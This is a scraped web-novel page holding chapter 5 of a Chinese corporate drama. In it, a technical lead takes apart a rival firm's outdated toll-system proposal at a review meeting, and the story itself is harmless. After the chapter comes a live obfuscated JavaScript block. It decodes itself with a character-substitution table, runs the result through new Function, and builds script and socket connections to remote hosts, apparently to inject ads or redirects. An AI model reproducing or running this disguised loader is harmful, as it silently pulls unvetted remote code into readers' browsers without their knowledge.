首页
第5章 掀翻桌子
返回

第5章 掀翻桌子

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第5章掀翻桌子(第1/2页)
    受运营公司委托,项目论证会由集团技术中心主导,时间定在周五上午九点。
    会议通知在三天前已正式下发给各参会单位。
    会议议程很简单,就是论证智通公司的建设方案。
    作为集团内唯一一家数字化公司的技术副总,陈默也被要求参会。对此,陈默心里很抵触。项目眼瞅着被抢走了,还要去论证强盗的方案,这特么的搁谁身上会愿意啊?而且,邀请的专家还是方案评审会那几个熟面孔,即使他再迟钝,也知道里面肯定存在一些猫腻。
    周四整个下午,陈默都在办公室里看张静怡上午发过来的智通科技技术方案,越看,心越凉。方案的前半部分,全是门面功夫。密密麻麻的行业资质、镀金荣誉、各地合作客户案例,搭配着大幅精修的企业实拍、项目现场图。单纯看材料前半部分,都会觉得智通科技是一家实力雄厚、经验丰富、落地能力强的公司。可后半部分,尤其是技术章节,就露出了底裤。真正的技术内容少得可怜,大部分都是直接复制粘贴的行业通用标准条文,空洞无物。配套的架构示意图模糊粗糙,皆是从网上下载的素材,放大之后满屏马赛克,连基础的参数适配标注都没有。
    外行看包装,内行看内核。
    陈默很快就看穿了这套方案的致命硬伤。
    虽然在上次的党委会上他提出了智通科技的架构老旧的问题,但在手里的这份材料里,依然是十多年前的老旧技术栈。一旦投入使用到覆盖全省三百七十二个收费站、日均五百万笔交易、节假日峰值三万笔并发的高强度场景里,就是一颗核弹,一旦被引爆,就会全军覆灭。
    陈默拿着笔在笔记本上逐条罗列,共整理出十二条致命缺陷。其他风险等级低的,他都没兴趣记录整理了。
    虽然不想参会,但既然要求他去参会,他就打定了主意:第二天的论证会上,逐条公开质询、逐项拆解漏洞。
    因为直到此时,他心里依旧抱着一丝幻想:只要专家秉持公正、立足项目交付与安全,这套漏洞百出的方案,就绝对不可能过审。为此,他必须提前做好准备。
    周五上午,八点四十。陈默赶到了集团总部。
    论证会会场在二十二楼。
    陈默进入会议室,在自己的位置坐了下来。将笔记本、方案材料整齐摆放在桌面。一切准备完毕,就坐在那里闭目养神,等待会议的开始。
    会议开始的时间很快就到了,会议由技术中心罗小刚主任主持,他清清嗓子,开口说道:“各位专家、各位同志,上午好。受运营公司委托,今天把大家请来,是对全省高速公路联网收费系统升级改造项目的可行性研究和实施方案进行合并论证。今天会议议程安排如下:先由项目意向建设方智通科技公司汇报可行性报告和实施方案,然后各位专家提问、讨论,最后形成书面论证意见。
    在专家提问之前,我先说几点要求:
    第一,请各位专家独立判断、独立发表意见。今天到场的都是各自领域有分量的专家,有高校的刘教授、有互联网企业技术背景的孙总监,也有咨询公司项目管理背景的马总。各位的专业领域不同、看问题的角度也不同,这正是论证会的价值所在。请大家从各自专业角度出发,有什么说什么,不用顾虑其他因素。
    第二,请项目方如实汇报、坦诚回应。专家的提问可能是尖锐的,但目的是帮你们把方案做扎实,不是为难你们。
    第三,论证意见将作为后续运营公司决策和招投标工作的重要依据。这个会不是走过场,开完就结束了。专家的判断和意见,将会直接影响项目的走向。
    下面,请智通科技公司李明远李总汇报项目的可行性研究和实施方案。抓紧时间开始吧。”
    李明远应声起身,从容走向大屏前方。“各位领导、各位专家,大家好。我代表智通科技,向各位汇报本次联网收费系统升级改造项目的建设实施方案。智通科技深耕交通信息化行业多年,累计服务全国十二个省市高速机电信息化项目,合同总金额突破五亿元,行业经验充足、项目积淀深厚。我司核心优势,在于成熟落地经验与可复用技术体系。”
    李明远语气笃定,字字铿锵,“车道控制、站点管理、路段结算、省中心清分等全套核心模块,均有成熟商用代码库支撑,本次项目代码复用率超百分之八十,可大幅压缩建设周期,最大限度降低落地风险、保障项目如期交付。”
    听到这里,陈默不由自主地握了握拳头。百分之八十代码复用率——直白来说,就是把其他省份的老旧系统原封不动复制粘贴、套壳落地。各省车流规模、站点布局、交易峰值、网络环境、结算规则全然不同,照搬套用,无异于削足适履,埋下无穷隐患。
    李明远继续翻页,展示架构图:“我方采用经典三层架构体系,表现层基于JSP、Servlet,业务层依托Spring框架,数据层采用Oracle数据库,架构经典、稳定可靠,经过十五年全国多个项目实战验证,安全性、稳定性均有充足保障。”
    汇报材料,陈默昨天就看过了,全是淘汰过时的老旧技术——无微服务、无分布式、无集群部署、无负载均衡、无分库分表、无异地灾备。最原始的单体架构,最老旧的技术栈,完全适配不了本省的高并发业务场景。一旦遭遇高峰期车流冲击,单点故障即是全网瘫痪。
    (本章未完,请点击下一页继续阅读)第5章掀翻桌子(第2/2页)
    “系统核心性能指标方面,我方系统每秒交易处理能力一千笔,平均响应时间低于五百毫秒,全年系统可用性达百分之九十九点五。”
    听到这组数据,陈默险些失声笑了出来。
    差距是全方位的——数智自研方案,峰值每秒五万笔处理能力、响应时间二十三毫秒、可用性百分之九十九点九九。智通的指标,连数智方案的零头都达不到,完全达不到省级项目的准入标准。
    短短十几分钟,李明远就完成了汇报。他鞠躬致谢,回到了自己的座位。
    罗主任看了看一众参会人员,开口征询:“各位专家、参会人员,针对方才李总汇报的方案,大家有什么疑问、意见?”
    几位受邀专家无人质疑、无人发问。
    陈默举起了手。
    “陈总请讲。”罗主任示意。
    “各位领导、各位专家,请允许我先介绍一下自己,我是数智公司技术负责人陈默。”
    他的声音不大,“我针对李总刚才的汇报方案,有几个技术问题,想请李总答疑解惑。”
    他翻开笔记本,“第一,架构设计方面的问题。贵司方案全程采用单体应用架构,无分布式拆分、无服务解耦、无模块隔离。我省三百七十二个收费站7*24小时全天候运行、日均五百万笔交易、峰值流量巨大,这套架构一旦任意一个模块出现BUG、卡顿、故障,会直接导致全网系统整体瘫痪。请问李总,针对全域故障隔离,你们的落地解决方案是什么?”
    李明远脸上的笑容瞬间凝滞,但还是回复道:“陈总,针对你的问题,我想你是多虑了。我方所采用的技术架构,已经过十五年市场验证,成熟稳定。针对你所说的故障问题,我们配备了完善的服务重启机制与后台备份恢复流程,可快速处置问题。”
    “重启机制?”陈默难以置信地重复了一遍,“系统出现故障,解决方案就是重启?那重启空档期产生的数万笔交易流水、用户扣费数据、跨省对账明细,如何兜底、如何纠错、如何保障数据不丢失?”
    李明远硬着头皮回应:“我们会利用夜间低峰窗口进行维护处置,避开日间交易高峰。”
    “我刚才说过,高速公路联网收费系统需二十四小时不间断运行,无空档、无休市,不存在绝对的夜间维护窗口。”
    陈默虽然语速平缓,却抓住李明远的回答死咬不放,“且跨省交易流水实时同步,任何时间的系统中断,都会造成全省乃至跨省对账偏差,引发舆情投诉、资金差错,请问这个风险,你们又有何应对的方案?”
    李明远嘴角不自觉地抽动了一下,一时间愣住了,因为他不知道该如何回答陈默的追问。
    看到李明远没有回答,陈默并没有放过对方,而是继续问道:“第二,核心性能指标方面的问题。贵司方案里说每秒可处理交易一千笔。但我省日常高峰交易量可达每秒三万笔,节假日峰值更高。一千笔的处理能力,完全承载不了业务实际需求,高峰期必然直接崩盘。请问李总,针对这种情况,你们的应急方案又是什么?”
    看到参会的众人都在看着自己,李明远硬着头皮低声回答:“我们支持垂直扩展,可通过升级服务器CPU、提升内存配置,增加服务器数量来满足业务需求。”
    “垂直扩展存在物理硬件上限。”陈默直接反驳,“单台服务器性能有封顶,无法无限扩容。请问你们在做方案时,是否考虑过水平集群扩容、多节点负载均衡的设计?”
    李明远眼神闪烁,下意识地四处看了看,见无人有帮忙解围的意思,只能选择死扛到底,“这方面……我们考虑过,并计划在后续迭代版本中优化完善。”
    “后续版本?”陈默重复了一遍这四个字,语气不自觉地强硬起来,“李总,这个项目覆盖范围你很清楚,招标模式也是交钥匙拎包入住模式,要求一次交付完整、成熟、可用的系统,并非后续需要频繁迭代升级的项目。换句话说,即使允许后续迭代升级,那么后续版本何时落地?相应的研发建设成本由谁承担?过渡期的性能缺口、系统风险,谁来兜底负责?”
    全场安静了下来。
    此时陈默自己很清楚,他正在做一件极度冒险的事——当着技术中心主任的面、运营公司领导的面、评审专家的面,再一次当众撕碎了这场精心包装的合规假象,逐条击碎内定方案的伪装。可他却不能不这么做。十二项致命缺陷,每一条都关乎项目成败、资金安全、民生舆情,他不能眼睁睁看着一个漏洞百出的方案,靠着暗箱操作蒙混过关,毁掉整个项目。
    他深吸一口气,继续发问:“第三,是关于数据安全与灾备体系方面的问题。贵司方案采用单实例数据库部署,无主从热备、无实时同步、无异地灾备、无定时快照备份。一旦服务器硬件故障、机房断电、火灾水灾、人为误操作,核心交易数据将直接丢失、无法恢复。请问,你们的数据安全兜底、灾难恢复方案是什么?”
    依然是无人应答,无人解围,无人敢接话。
    李明远的额头上,渗出了汗珠。
    既然你们要在桌子底下做决定,那我把桌子掀翻了又能如何?陈默盯着李明远,手里的笔往桌上一搁,直直地盯着李明远:“李总,麻烦您回答一下我这个问题。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();